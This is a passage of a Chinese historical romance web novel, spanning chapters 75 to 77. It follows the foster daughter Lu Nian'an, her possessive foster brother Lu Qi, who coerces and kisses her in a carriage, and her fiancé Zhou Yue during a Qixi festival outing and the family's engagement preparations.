像母亲方才分明还很煽动她去同周越接触,现下却又突然说要回府,对未知的变故,让她不免有些心神不宁。 对周越道完谢后,宫女说从此处到殿门还有一条更近的小道,陆念安点头应下,便跟着往前走。 越往前茉莉的香气越淡,日光落在眼前的石板路上,亮堂的有些晃眼。 这些年挑灯偷看话本的日子可不少,陆念安的双眸早已经不能适应这些光亮,她忍不住抬起手来,当眸间覆下一片灰暗的阴影后,才觉得好受许多。 眨眨眼,陆念安重新看向眼前的石板路,清晰与模糊之间,眼前被光晕虚化的人影,几乎让她以为这是错觉。 “……” 走在前的宫女显然也认出这是谁,此刻轻声道:“陆小姐,福儿先退下了。” 石板路间很快只余下她一人,陆念安不太识路,默默朝眼前的人走去,闷声道:“哥哥……” 直至靠近后,才发觉兄长身旁还跟着个人影,陆念安又思索着唤了一声大皇子。 “念安妹妹早啊,”大皇子带着笑意地同她问好,出声解释:“本王方才也只是偶然路过,不是刻意打扰你同……” 一句话还未完,被陆祈带着凉意的嗓音打断:“半月过去,大理寺的卷宗录供了吗?” 皇上游船遇刺一事还没彻底平息,在大理寺彻底交供以前,不论如何粉饰太平,皇上和母后都会怀疑他是其中主凶。 偏生这件事又是交由陆祈来办,两年过去态度都未曾松动过的人,又怎会随意插手大理寺一事。 大皇子忽得息声,片刻后,只好保持微笑:“陆兄还真是会拿捏人。” 只是又是何事值得他翻出大理寺来警告他。 一边转身,大皇子皱起眉,总觉得有什么被忽略了,于是走到长廊尽头之际,他还是回过头朝后看了眼。 午后的日光透过树荫,落下一片零碎的影,站在树下一高一矮的声音显得有些沉默,相比于两年前,兄妹两人好像生疏不少。 好像没什么特别,毕竟他同皇妹的关系也早已生疏。 * 今日有关于婚期的不欢而散,令陆夫人久违的郁闷起来,出了长乐殿便直接回了陆府。 被留下的陆念安要随兄长一起回家。 一路上她都有些沉默,除了先前那声“哥哥”便是只字未言,只顾着埋头往前走。 不知走了多久,一头撞在什么坚硬之上,陆念安吃疼,捂住额头被迫止步。 她不太高兴地抬起头来,眸中闪烁着泪花,才发觉不知何时已到了陆家的马车前。 背对着她的陆祈这时也缓慢转过身,目光落下,他:“怎么总是心不在焉呢,又在乱想什么?” “哪有,”陆念安下意识反驳了声,可在哥哥面前,她好像从来没有秘密,不过是被带着考究地看了一眼,她便有些紧张了,结结巴巴地又道:“没有,没有乱想的。” 陆祈便不说话了,只是静静看着她,仿若能洞悉一切的目光,令陆念安下意识回避。 宫中宽阔,站在毫无遮挡的长道上,一切都一览无遗。 她侧过头时,一道人影出现在眼前,灰蓝色长袍在光下渐渐变得清晰。 “念安。” 周越的声音如同渐热夏季里的一碗冰酥,凉凉的,使得残余在心中淡淡的压迫被驱散,陆念安很快凑过去:“周公子?” 特意配好药从殿中追过来,周越将一直拿在手中的瓷罐递出,到没有过多解释,只是叮嘱:“磕到的地方,记得上药。” 磕到? 闻言,陆念安才后知后觉意识到膝盖处的疼意,应是她方才起身时磕到了石桌。 没想到会被周越留意,陆念安接过药膏时有些感激,于是真诚道谢:“谢谢你。” 本只是一件小事才对,但被她这般真诚地道完谢后,周越有些意外,接着这个机会笑道:“婚期之事母亲已同我说了,我刚回府没多久,她的确有些着急,今日让陆夫人不太高兴,抱歉……” 停在后方的马车这时微动,车夫忙拉住缰绳稳住兴奋的马儿,疑惑出声:“小姐还未上来,是要走了吗?” 听见动静的陆念安看过去,身后的身影消失不见,只余下一片空荡。 哥哥要走了? 前些天的猜测在这一刻彻底做实。 所以这也是让她长记性的惩罚吗?陆念安却忘了自己何时丢下过他,茫然极了。 见她这般,周越一顿,转而道:“念安,下次见。” “好……”陆念安点了点头,才想起自己该回府的,于是匆忙地跑回,赶在车夫放下僵绳时上了马车。 指尖触在车帷之上,她犹豫了瞬,才试探着将车帷拉开往里靠近,整个动作有些小心翼翼。 车内很暗,收回手后,用厚重绸缎织成的帷幕竟透不进一丝光亮。 黑暗中一切都是未知的。 陆念安抿唇,小心挪动到提前找准的角落。 坐稳后刚要松口气,寂静空间中,缓缓落下道清冽男声:“未婚夫送得药膏,阿念怎得不用?” “……” 她不太适应这个称呼,愣了愣后,才反应过来话中说得未婚夫是周越。 篡紧手中的小瓷罐,陆念安轻声解释:“有些暗,看不清。” 话音刚落,身旁传来窸窣的动静,一侧的帷幕被直接拉开,白光透进,落下一片明亮。 静坐在一侧的陆祈这时收了手,平静看向她。 近乎刺目的日光,使得一切都无处遁形。 陆念安不太明白他的意思,或许哥哥是在关心她? 她心不在焉打开瓷罐,又低下头默默将裙摆卷起来。 光下肌肤白的晃眼,不知想到什么,陆念安侧过身躲了躲,才慢腾腾将裙摆撩起至膝处卷好。 膝上青青紫紫的痕迹尤为明显,她到是习惯了,指尖压进瓷罐中,沾了些湿润的药膏,便缓缓往伤口上抹。 抹开一层后,陆念安将视线落回瓷罐,又沾了些药膏想在抹些。 这时耳边传来衣物摩擦发出细微的声响,她忽得回神,迷茫地抬起眸。 眼前落下一片影,逼仄空间内,陆祈缓缓半跪在她面前,带着凉意指尖逐渐握住她的小腿。 他垂下眸子,昏暗间眼底情绪让人有些看不真切 。 陆念安莫名有些紧张,瑟缩了瞬:“哥哥?” 指腹摩挲在她刚上完药膏的膝上,陆祈语调很平:“阿念好像总是照顾不好自己,也从未将我的话放在心上,对吗?” 却没有等她回答,他似是回忆起什么,有一搭没一搭地按在她膝上:“你幼时也总是磕着碰着,每每等到夜间换衣时,总是被发现你身上的又多了两道痕迹。” 他很少同她说这些,本以为该欲渐生疏的回忆,仍是清晰:“可那时秋菊刚来不久,同你还不够熟悉,替你上药时你有不适,也不敢告诉她。” 不敢告诉秋菊? 听到这里时,陆念安神色更加迷茫了。 “阿念是忘了?”陆祈轻笑一声,接过她手中的瓷罐,长指捻了些药膏,在缓慢地覆在她膝上:“我还记得,等秋菊发现你的不对时,你快哭成了泪人说痒,浑身泛着红,哭得我心也要碎了。” “王太医替你诊脉时,说你得了风疹,寻常药膏都用不得,翻看了好些古籍,才替你重新配好。” 认真算起来,王太医便是从那时开始,常往返太医府同陆府。 重写方子不是一件易事,添一味药材,又或是少一味药材,都需重新试药。 他语气平和:“自那以后,唯恐你在乱涂东西,哥哥总是需要替你将药膏带在身旁。” 话音轻轻落下,车内重回平静。 陆念安感受到覆在膝上轻柔的力道,带着淡淡凉意, 极轻微地将药膏抹开。 她睫羽微颤,像是想起来什么。 小时候她的确很依赖哥哥,那会儿同刚来陆府的秋菊算不上熟悉,若是磕着碰着了,当然也只会找哥哥哭诉。 于是眼前这一幕并不陌生。 记忆中无数个画面里的哥哥,将她耐心地抱高在放下,身处于高处,她晃脚看着附身检查她伤势的哥哥,他总是会让她安分些。 好吧。 陆念安细眉蹙起,连她也觉得自己娇气了些。 “真是娇气对吗?”替她上完药,陆祈仍握着那个瓷罐,淡声道:“你长大后也时常埋怨哥哥将你养得娇气,可若我不照顾好你,你如何长到这般大。” “我……”她刚想解释自己不是这个意思。 陆祈将握在手中的瓷罐,慢慢递回给她:“以前你总是记不住只能用家中的药,后来我想,可能是因为已经有哥哥帮你记着了,所以阿念便懒惰地不放在心上。” 马车正行驶在嘈杂熙攘的街道,晃动间,他抬眸,跳跃在他眉眼间的细碎日光,替他镀上一层柔和。 摩挲在她膝上的指尖,在此刻意有所指地点了点:“不过阿念长大了,好像也不需要哥哥了。” 被抹开的药膏,正往外发散清淡而柔和的草木香气,不在让她感到任何不适。 “以后有旁人替阿念将那些事放在心上,所以对你来说,哥哥也就无用了。” 他眼中一闪而过的什么,令陆念安有些看不懂。 只是自记事以来,她从未见他露出过这副模样。 连手中药膏都有些烫手,陆念安有些慌忙地将那瓷罐放下,颇有些苍白地开口安慰他:“没有的。” “那这些天,怎么都不和我说话?” “我……”他这样说,陆念安也有些委屈:“明明是你先报复阿念的,我当然不想和你说话了。” 虽说她从前是有些不懂事。 可哪有哥哥会这般计较,还一一还回来的。 陆祈像是觉得这话有些好笑:“报复?原来阿念觉得我在报复你。” 她眼中委屈多得快要溢出来:“我从前是有些不懂事,如果那些也算是欺负你的话,那你也还回来了。” “既然这般,那阿念抵触什么,”半跪着的姿态,使得他需要微仰起,才能直视她的眼眸:“从前你欺负哥哥时,我也没抵触,不是吗?” 话是这样说没错,陆念安皱起脸,只觉得他又从哥哥便回那个讨人厌的陆祈。不论是说话的语气还是压在膝上的力道,都令她有种被淹没了的错觉。 垂下眸,陆念安闷声道:“那也是哥哥教我要抵触的。” …… 绕回两年前的夜晚,公然宣告的圣旨、厉声落下的训斥、被捏碎的花灯……他同样找不出两全的办法。 不愿忆起这段回忆的,又何止她一人。 她总是将他想得很强大。 就算是陆祈,也不能保证自己所做的每件事都绝对正确不会偏离。 马车驶过熙攘的街道,日光明明灭灭,半跪在地的陆祈起身,落下的影将她完全笼住。 他静静看着她,语调是一如既往地平和:“同他退婚。” “什么?”太过忽然,陆念安听不懂这话,于是未知同恐慌一同来袭,令她思绪混乱,下意识逃离。 陆祁很快附下身,与此同时,双手紧扣住她因为慌乱而无处安放的指尖,额头相抵,带着侵略的气息喷洒在她唇边:“拒绝也没关系,你知道的,我从来都不像你一样半途而废。” 从唇边到脖颈,他埋她身侧轻嗅,像不知餍足,一点一点侵蚀掉她身侧陌生的气息。 感受到她轻微地战栗后,他才安抚地拍了拍她手背,湿冷的触感却让她更加瑟缩。 很快抚平她的指尖,从下至上十指相扣,他带着侵略的语调一瞬冷下:“你最不该抵触我。” 他吻在她圆润的耳垂,彻底侵蚀掉那股陌生的气息,嗓音柔和:“阿念,你是我养大的。” 孱弱到连呼吸都微弱的小姑娘,从只会叫哥哥二字,到他用尽耐心地教她开口说话,从小到大,因为她一句“要像对亲妹妹一样对我好”,他对她倾尽了无数心力,甚至远比他想象中倾尽的更多。 在两年里日渐疯涨思念中,离不开的人也从来都是他。 他养大的,也是他的。 只是明白的晚了些,便不该再放跑。 第75章 第七十五章 暖风将柔纱似的车帷吹起,车窗外,独属于夏季的暖色盎然,只是很快,周遭一切却以被掠夺的速度黯然失色。 陆念安面色苍白,在仅剩的逼仄角落,她甚至没有躲避地余地,连退后都成了奢望。 却偏要她回应一样,灼灼目光落在她眸间,陆念安避不可避,好半响后,才颤抖着开口,语调怀疑:“哥哥是,是什么意思?” 一切有些陌生的熟悉。 时过经年,陆念安想起当初让哥哥退婚时的自己,有多么天真幼稚。 只是,现在呢? 她心中升起无数抗拒,抗拒回忆中有过同样想法的自己,也抗拒当下,抗拒哥哥,抗拒这些剪不断理不清的混乱,已经让她有些头疼。 眼眸很快委屈地泛红,她双眸含泪,只掉几滴眼泪,便叫人心都痛了。 陆祈凝视着她,漫不经心地捧住她的脸,继续逼她开口:“阿念觉得呢?” …… 暖光落在她眉眼,她眼底余下更为清晰的抗拒,看着她因为迷茫而躲闪的目光,陆祈泛着凉意的指腹轻触上她眼眸,感受到一片湿濡后,他淡笑一声:“不说话,是还想让哥哥帮你吗?” 从小到大,他已替她做了无数决定,从识字到提笔书画,无一例外皆是他所教导。 陷入回忆,陆祈神色中带上一抹怀念:“退了婚,若是阿念还喜欢当妹妹,那像从前一样,不论是海棠花或是什么绣球,哥哥都会替你寻来,也会好好照顾你。” 他语调极为缓慢,带着几丝不易被人察觉的纵容,陆念安却有些不解:“为什么?哥哥是不喜欢周越吗,从前不是还说……呜” 触在眼眸的指尖,忽得下滑,摩挲在小姑娘殷红的唇瓣之上,她瞬间说不出话了,只有破碎地呜咽声从唇齿间溢出。 陆祈低声呢喃:“总是说哥哥不喜欢听得话,看来是不愿做妹妹了,瞧我都忘了,分明前些天才同我说,以后都不认我这个哥哥的。” “那该如何是好呢?”不知想到什么,他眸色中覆上一层深沉,心不在焉地揉了揉她唇瓣,陆祈若有所思:“那把阿念关起来好不好?” “不听话,就关起来,”他轻笑起来,温热地呼吸喷洒在她脸侧,似是觉得还不够,低头轻吻在她唇边,抬手捏了捏她因为而战栗的脖颈,安抚:“这样害怕吗?可哥哥只是同你说笑呢,阿念是乖孩子,我最喜欢乖孩子了,才舍不得关你。” “阿念会听话吗?” 车内本就狭窄,被高大身体笼在其中的陆念安,感受到他语气中,一种从未有过的陌生和危险。 直觉现下很不对劲,她有些无措地点点头,连一声辩解和疑问也不敢有,只想赶紧糊弄过去,慌乱道:“会,我可是最听话了的。” “一直这样乖就好了,”他大概也很满意这个回答,贴着她唇喟叹一声:“好乖。” * 记忆中哥哥其实很少生气,他总是柔和的,不论发生何事,都会温柔地同她说话。 陆念安还记得自己最顽皮的小时候,总是一出去就将自己弄得脏兮兮,这便也罢了,还非要去一向爱洁的哥哥面前晃荡,将他的白衣带上几丝泥渍才满意。 他从来不会生气,会弯下腰,用很柔软的方帕替她擦脸,一边问这是谁家妹妹,直到等她收拾干净以后,才笑着上前,悠悠道一声原来是我家的…… 陆念安很依赖和喜欢这样的哥哥,甚至喜欢到私心里,也曾不想让哥哥娶任何人。 直到全部被捏碎,所有的喜欢倾注在花灯里,被全部捏碎……怎么能,全部被捏碎呢? 好像自那以后,这样的私心便开始变得浅淡,又逐渐转为愧疚。 陆念安从未想过,原来这样的哥哥,也会依赖和喜欢她吗? 一侧的房门忽然之间被人拉开,正陷入回忆的陆念安一颤,像只受了惊吓的兔子般仰起头。 “小姐?”秋菊进屋,放轻手上的动作:“昨日回来就不对劲,怎么了,是在宫中受到惊吓了?” “没有。”陆念安有些心不在焉,嗓音闷闷的。 几案上的琉璃壶中,果茶往外冒着甜香,秋菊湛了杯茶递给她,出声安抚 :“夫人同我说了昨日之事,小姐不高兴也是应当的。” “婚期之事,母亲是生气了吗?”昨日听说闹得并不愉快,陆念安犹豫着又问道:“哥哥好像也不太高兴。” “放心吧小姐,早上周夫人才来过,大抵是又谈妥了,瞧着都挺高兴的……”秋菊一顿,“好啦小姐,方才见着夫人让我有空带你过去看看,肯定是个好消息的。” 因赐婚一事,近日里陆府还算热闹,时常能瞧见生面孔。 走去千山宛时,陆夫人正清点小厮送来的礼单,此刻将手中小册递给身旁人,她笑着看向陆念安:“念念昨日玩得高兴吗?” 同周越相处,并未有任何不愉快,陆念安自然点头。 “那孩子确是个好的,”陆夫人目光慈爱,显然还念着昨日之事,有些惋惜:“若不是皇上那般意思,昨日属实不该闹成那般。” “昨日……”陆念安有了些精神:“昨日母亲好像很不高兴。” 婚期一事,陆夫人的确是生气了,不然也不会连一刻也呆不下去,便独自先离开了。 归根到底,气得还是皇上对陆家的态度。 自从得知两年前,陆祈去塞北是皇上下旨有关系后,陆夫人觉得有些寒心。 要知道这些年对大景可是忠心耿耿,不论是上头的陆将军还是现下的陆祈,从始到终都担得起“忠”这个字。 现如今,又连桩婚事也要算计,祈儿不过多说了一句,便又被打发去了浅西,这般敲打,还不是看陆家之人忠心耿耿好欺负。 陆夫人神色烦闷:“好啦,不同念念细说这些烦心事,我还没告诉你好消息呢。” “好在没看错周家,亲家的说一早越儿就特意去同皇上解释了,婚期便算是依咱们家的。” 婚期定下,又是皇上亲赐,已绝无反悔的可能。 心中一件大事尘埃落地,当然是好消息,陆夫人眉眼间染上一抹笑意:“就是依皇上的意思,过些日子像是还要办个订婚宴……倒也不麻烦,两家人聚一起吃顿饭罢了,就是你阿兄去了浅西,也不知能不能赶回来。” 长辈的念叨细碎也细致,陆念安听着她话里话外都是在替自己做打算,眼眶湿润,揉了揉眼后,反应过来:“哥哥去了浅西?” 陆夫人没有细说:“大抵要去个数月。” “这样啊。”陆念安低下头,想起上一次同兄长分别,还是两年前呢。 等在抬起眸时,她心中的混乱全然消散,乖巧地回答:“没关系的母亲,总归只是订婚宴,少了哥哥也无事。” 她好像找到不在混乱的法子。 两年前,哥哥用不告而别教会她冷静,她心中那般多的舍不得,竟也都尽数消散了。 所以就算哥哥也舍不得她,等婚事定下,又能如何呢? 陆念安绝不承认自己做出这个决定时,心中还升起浅薄的快感。 第76章 第七十六章 六月里,岭南的荔枝多数都成熟了。 上京的夏天是没有这种果子的,每年都只能从岭南进贡而来。 路途遥远,这些好不容易送入宫中的果子,皇上会先挑走一些,余下的再分给臣子。 因此,荔枝在上京,还是个稀罕果子。 不知是从哪儿听说陆念安喜欢荔枝,周夫人隔日便将二房的俸额送去了陆家。 不止是荔枝,还有前日里送来的锦绸银纱,上月末送来的白茶,都是周夫人特意送去陆家的。 虽说家里也不缺这些,但瞧着自家孩子能被认真放在心上,陆夫人还是有些感动。 午后闲暇,千山宛内一片平和,案桌上,经过层层筛选后剩下的荔枝,颗颗都饱满且鲜甜,陈嬷嬷上前,笑着提起: “夫人,公子的俸额也送来了,可要将这两碟子荔枝一同送去北院?” 陆夫人点头,随意唤了两个小丫头过去,感叹一声:“往年念念都说荔枝不够食,我看她今年是该满意了的。” “依老奴瞧,夫人也是满意的。” 自婚期按陆家的意思定下后,陆夫人对周家再生不出任何不满来,现如今当然是越看越满意了。 可思及至此,陆夫人却显得有些忧愁,呢喃道:“我满意却是无用,还是要两个年轻人各自欢喜才好……” 说话间,守在门外的两个小丫鬟默默上前将荔枝收走,盛夏里闷热,新鲜荔枝要被制成冰碗后再送去北院。 一来一回,等陆念安食到这荔枝时,已是正午。 彼时陆念安还在翻看绣娘送来的云纹花样,听见秋菊端来冰碗时,她有些惊讶:“荔枝都熟了呀。” 白玉莲盏内,红色果子经过冰镇,内里的果肉泛着莹润,正往外散出清甜的香气。 不比岭南,对上京而言,荔枝一直都是罕见的。 进贡而来的一碟荔枝也就只能剥出两盏冰碗,所以每年都只是尝个鲜。 总归也都是尝鲜,陆念安抬起瓷勺,照常先匀出小半碗分给府上的丫鬟们。 秋菊上前拦了拦,解释:“小姐先用吧,还有一碟子呢,等下再拿去分给院里的丫头们也不迟。” “往年不都是一碟子,”抵在白瓷勺上的素指一顿,陆念安有些疑惑:“今年怎得这般多?” “嬷嬷说,另一碟是今早周家送来的。”说到此处,秋菊笑意更浓:“嬷嬷方才还提起了过几日的乞巧节,照夫人的意思看,怕是乐意看小姐那日出府。” 乞巧节自前些年开始,逐渐被覆上另一层含义。 要知道既是民风开放的大景,也不允许未婚男女当街私会,于是只剩下初七这日,年轻男女能借着望月的名头一同游玩。 久而久之,乞巧这日,到也成了年轻男女相会的一天。 听见这话,陆念安心下有些明白了陆夫人是何意思,一时间有些无奈,忍不住嘀咕了句:“哥哥说得还真是没错,母亲就是一闲下心来就爱操心……” 话说到此处,她有些微怔,想起离听见这话,竟已过去数十年。 细细一想,那会还是陆夫人为了陆祈的婚事如此上心,没想到一晃眼,她好像也感同身受上了。 * 七月初七一早,周家送来帖子到陆府,邀陆念安出门赏花。 比起上一次在宫中见面,今日显得随意,身后已不再有宫女们的注视,只跟着零星的几个丫鬟,让人能自在许多。 走过长街,街角立着卖糖人的小摊。 卖糖瓮人称一声老李,在这条街上画了几十年的糖人了,手艺极其不错。 乞巧这日日子特殊,街上比平时热闹些,迎面走来的女子是为了这糖人所来,扯了扯身旁郎君的袖子,便拉扯着一起朝糖人摊走去。 那女子挑了鹊桥之上仙子图样的糖人。 这也是乞巧日最受人欢迎的,卖糖瓮老李很是熟练,抬手倒糖,不过片刻,就用木棍挑起糖人送出去。 光下,被熬得鲜红的糖浆晶莹剔透,在身旁郎君低头掏银子之际,那女子忽地抬手将糖人送进他唇边,乐呵呵笑起来,问道:“庆郎你觉得甜吗?” “……” 正巧将这一幕收入眼底,陆念安有些不自然地移开目光,下一瞬,身旁落下道清润男声,是周越开口问她:“想吃吗?” 陆念安慌忙摇头,可不知怎得,目光飘忽着却又落回到那小摊上。 这副模样被人收入眼底,只以为她是想吃却不好意思了。 周越一顿,干脆带着她走去那糖人摊前,又问:“陆姑娘可有喜欢的花样?” 两个人还未找到合适的相处方式,客气间带着一些小心翼翼。 老李一瞧,抢着为自己介绍:“郎君,我家用得糖可都是不加一滴水的,乞巧这日食了,保准往后一年都甜甜蜜蜜。” 来去间不知见过多少对男女了,见两人衣着不凡,老李悠哉悠哉地又补充道:“不光是东西货真价实,我家更是十余年未涨过价了,这么一根糖人才三两银子,姑娘您看看您是喜欢什么花样?” 提前制好的糖人被悬挂于摊前,各式花样看得人眼花缭乱。 陆念安眨眨眼,有些难以抉择地看过去。 片刻后,周越开口道:“陆姑娘喜欢兔子吗?” “兔子好哇,”说话的时间,老李手起糖落,勾勒出兔子的形状来,最后点上一对明亮的大眼睛,再笑盈盈将兔子递回给陆念安:“姑娘拿好。” 一切发生的太快,等陆念安下意识接过糖人了,周越便留下三两银子放下。 老李笑嘻嘻接过,一侧卖饮子的摊主却瞧不下去,高喊一声:“老李我说你又在这里忽悠别人,也不怕遭人报应咯!” “去去……去什么忽悠,别打扰我做生意。”触上银子的一瞬,老李将碎银一把抓起放进袋中,变脸犹如变戏法般:“两位客官慢走。” 陆念安从未见过这阵仗,走远以后,才怀疑地开口:“周越,我们好像是被忽悠了?” 她指尖正抵在木棍之上,晶莹的糖兔子遮住她大半张脸,只露出圆乎乎的眼睛来,有些笨拙的可爱。 “抱歉,我从前也没有买过,”周越低头看向她,以为她是在难过,努力挽回:“但他说很甜,若是很甜的话,也不算被忽悠了。” “糖人怎么会不甜呢?”问出这话后,陆念安才明白周越所说的没买过好像不只是没买过,他对这方面生疏的很,更像是,连糖也没吃过。 连糖也没吃过……同周越接触的久了,他周身那股自然的矜贵,总让人忘了他从前的身份。 想到这,陆念安抬手掰开糖兔子的耳朵,大方地递过去:“好吧,那也不算被忽悠了。” 糖块很甜,甜腻到一次只能咬下一小块。于是剩下的糖块缓慢融在指尖,变得很粘腻。 一起走过长街,在陆念安慢慢悠悠咬掉最后一点糖块时,周越也拿出手帕,将指骨上那点仅存的甜腻抹掉。 * 天黑以后,从茶铺到胭脂铺糕点铺前,都挂上一连串的红色灯笼。 夜幕之下,长街两侧更热闹了—— “郎君,要瞧瞧咱家巧果吗?” “姑娘,来簪朵漂亮的花,芍药牡丹都有呢!” “卖花灯喽,好看的花灯十文一盏……” 这样市井的氛围,总让人有些好奇住在此处是什么体验。 刚冒出这个想法,陆念安指着前侧,欣喜道:“周越,前面就是绿坊街诶,我们去看看吧?” 她提出这话本是好意,直到走进昏暗的小巷,才发觉当初那间狭窄的屋子,早已经被租给了其他人。 那人警惕地看了眼两人,就连忙将房门关上:“真是奇奇怪怪。” 好在邻居周大娘听见动静拉开门,走近一看认出是周越,顿时就惊喜道:“公子您回来了?” 自考上探花以后,周越替师傅还完了所有赌债,因着这事儿,街坊邻居们都极感谢他,只是碍于他现如今的身份,一直没有机会当面感谢。 好不容易见到人,周大娘几乎激动到落泪:“我们这么一片的孩子都以沈大夫你为傲,说是以后都要参加科举呢……” 说着说着,周大娘的语气歉疚起来:“但公子您怕是还不知道,前些天你师傅被张家那老头捞出来了,听说是又欠了一屁股债没脸,就跳河了。” 乍然间听见离世的消息,陆念安下意识抬起头看向周越。 院中昏暗不明,周越的一张脸此刻也沉在影中,只剩下他的声音,一如既往地柔和:“欠了多少?” 他不疾不徐地处理好后事,话到最后,以一声“麻烦了”收尾,才看向陆念安:“陆姑娘还想去哪儿?” 时候已经不早,陆念安本想着从绿坊街回来就回府的。 她看着周大娘远走的身影,总觉得现下的周越有些沉重了,试探性开口:“那我们再去放个花灯怎么样?” * 回到陆府时已过戌时,这是陆念安头一次在外玩到这般晚,有些心虚。 千山宛内还未熄灯。 为订婚宴一事,陆夫人连着几日都忙到了深夜,此刻听着窗外动静,抬起眸:“是念安回来了?” 雕花漆木门被缓缓推开,陆念安手中提着新买的兔儿灯,探头往里看时,心虚一笑:“我还给母亲带了糖果子呢。” “还特意给我带的糖果子?”陆夫人调侃了声,到底还是接过木盒,一边打开一边询问她:“同周家公子相处时开心吗?” “开心的……”走近以后,陆念安才发觉屋中氛围有些凝重,一边点头一边左右张望起来。 花几前摆着一张小案,案上茶水早已经凉透,却没有一个丫鬟上前替换。 顿了顿,陆念安又注意到案上还放着一封被拆开的信。 “小狗鼻子,”见她盯着信看,陆夫人无奈地将信拿起,解释道:“是你兄长寄来的,说是浅西的瘟疫蔓延散开,他怕是这个月也回不来了。” “瘟疫?”陆念安不知去浅西是因为瘟疫,冒出的第一个想法是:“很危险吗?” 在外玩了一整天,此刻褪去掉欣喜,陆念安默念着瘟疫两字,着实皱起眉来,显得有些苦闷。 好在陆夫人很快摇头:“倒不是因为危险,我是怕月底的宴席,你兄长赶不回来会委屈了你。” 陆夫人没办法同陆念安解释其中关系。 周家同陆家联姻,皇上看重的是陆周两家的关系,若陆祈能回来撑撑场面,她底气自也是要丰厚一些的。 “没关系呀,不要麻烦了哥哥才好……”陆念安忽然也没什么苦闷了,接过那封薄信,她垂眸—— 陆祈的字很有力,每一笔都落到实处,陆念安曾对照着练了许多年,却也没习得一分神韵。 她撇撇嘴,继续往下看,纸上没有长篇大论,三言两语就概括了浅西的近况,唯一显得特别的,是最后几个字,显然是留给她的。 我们阿念最近有听话吗? 第77章 第七十七章 初初习字时,总能听见见字如见面的教导。 陆祈的字,实则要比他本人更具锋芒,落笔有力,每一笔都带着凌冽。 单单看着这封信,陆念安就有些呼吸不上来,手一放直接将信扔下。 被这信搅乱的思绪,却一直到深夜,都未曾减退半分。 夜里很静,静到连细微的蝉鸣声也变得很清晰,陆念安翻来覆去好一会儿,却仍是睡不着,默默起身。 怕惊扰了秋菊,她并未点灯。 书桌正对着窗,不用点灯也是明晰的,磨蹭了会儿后,陆念安翻找出笔来,展开信纸。 她没什么力气,写得字便也是软趴趴,本想回信,写下来的文字也像是碎碎念。 着重强调完周家送得荔枝和周越送得花灯后,陆念安呼出口气,终于有了些困意。 抬手将信纸叠起,她本想回到塌上,眼前却忽得明亮起来。 “小姐怎么突然想起来写信了,”秋菊还是听见了动静,迷迷瞪瞪端着蜡烛走来,不忘帮忙:“那我,我帮小姐收好,明日再让小厮送去浅西好了。” 往年都是这般,若有寄去给陆祈的信,支会一声家中小厮便可。 说着,秋菊打了个哈欠上前,想将信接过。 她抬手落下,指尖擦过信封一角,陆念安因此惊慌失措起来,忙将双手往身后藏,猛得摇头:“没有,只是随便写写,才没有要寄信给哥哥。” 说完觉得不够妥善,陆念安环顾了眼四周,将一侧的花灯提起,同那信一起收进高柜。 秋菊一顿,收回落空了手,迷茫极了。 * 这日以后,再一次收到从浅西而来的信,已是月底。 七月底,婚宴将至,被陆夫人紧张的情绪所感染,整个陆家的丫鬟小厮同样都不敢松懈。 虽对外只是简单的家宴,但陆夫人看重礼数,从主菜到糕点饮子,她都要清点了数次后才放心。 忙碌一上午,回到院子时天光大亮。 院中,香樟树泛着蓬勃生机,陆夫人半躺进树下的摇椅中,悠悠道:“便只剩下念念明日要穿得裙衫了……” 这几月操了不少心,陆夫人有时也会感到些疲惫,但只要一想到从前对陆念安的疏忽,她叹声气,继续道:“晚上让绣娘将新制得裙衫送去北院,依我瞧,那身嫩绿或是水蓝的就不错,明日家宴,稳妥些最好。” 陈嬷嬷应下,捧着茶壶走过石板小路,她上前替陆夫人湛了杯茶,感慨道:“要说这些年,夫人对小姐还是尽了心思的。” “是孩子都大了,既住在咱们家,便不可随意。” 嫁人这样的大事,一生中也不过只有一回,等两年以后去了夫家,她定是想操劳都没机会。 思及,陆夫人接过茶杯,认真起来:“祈儿还是赶不回来了?罢了,我瞧瞧他寄来的信。” 信是今早送来的,陈嬷嬷呈上去,没看两秒,陆夫人就抬起茶杯将信纸压下,不快道:“早些出发,明天不就能赶回来了,早知如此,当初也该推辞掉去浅西一事才对……” 陈嬷嬷忙劝解:“夫人可别气坏身子了,明日还未到,公子若是赶回来了也说不定。” 百宝花蕊屏风遮挡住刺目的暖阳,一盏茶的时间,陈嬷嬷安慰好陆夫人,同绣娘一起去北院。 偶然路过库房,这几日负责采点的小厮正清点一批瓷器。 都是从清州小镇运来的,光是浅口盘的花样,便足足有数百种。 绣娘见了,暗自咋舌。 来这会儿以前,她当然也知陆家是大户人家。但对寄养在家里的姑娘也能这样大手笔,实属罕见。 进了北院,又觉方才的惊讶早了。 院子里堆着各式木箱,绣娘眼光毒辣,一眼就瞧见装在箱子里的绸缎,从云纱到薄锦,色泽艳丽,拿来做夏装最是舒适。 陈嬷嬷浅笑着:“都是周家送来的,明日过后,也拿去你们绣阁制夏衣。” “姑娘真是个有福气的。”绣娘连声赞叹。 没聊几句,两个人到了里屋,走在前方的陈嬷嬷推开门。 屋内焚着香,味道清雅,小几上摆着盆茉莉,方才浇过水了,绿叶上坠着新鲜水珠儿。 陆念安则靠在一侧的榻上,手拿着本书翻看着,素手芊芊,圆润的指甲泛着浅粉。 听见脚步声,她放下书回头,欣喜道:“嬷嬷怎么有空来了?” 陈嬷嬷吩咐绣娘将夏衣放好:“绣阁新制得夏衣,小姐来挑挑可有喜欢的。” 此番又新制了三身裙裳,夏日里闷热,衣衫越轻薄越好,便主用得都是轻云纱和软绸,颜色素净乖巧。 “瞧这花样小姐怕是还没见过吧?”绣娘态度热情,同她介绍:“还是宫里贵妃过来制得款式,现如今京中很是流行,好多小姐都喜欢,就点名要这样式呢。” 京中贵女们的衣阁都是一年一个花样,时下新起的夏衣是垂领纱襦配半袖褙子,单薄凉爽。 陆念安碰巧怕热,一入盛夏,便是要呆在用了冰的屋子里才满意。 抬手触上这般单薄的褙子时,她有了些好奇,乖巧点头:“喜欢的。 ” 见她满意,绣娘眼中充满惊喜,接过赏赐后激动退下。 陈嬷嬷送走绣娘,转眼见陆念安拿起褙子往身上比划后,不由得笑起来。 一晃眼十多年过去,除出落地越发亭亭玉立以外,她这闹腾的性子却是一点没变。 只是……只是明日见公子未归家,她怕是也有得难过了。 陈嬷嬷还记得从前,陆念安喜欢守在院子里等哥哥散衙归家。若哪日陆祈晚了些回府,她便要开始闹了,偏生气性又大,要人哄许久才能哄好。 回忆历历在目,开口时,陈嬷嬷有些小心翼翼:“还有件事未和小姐说,明日家宴,公子大概是真的赶不回来了。” 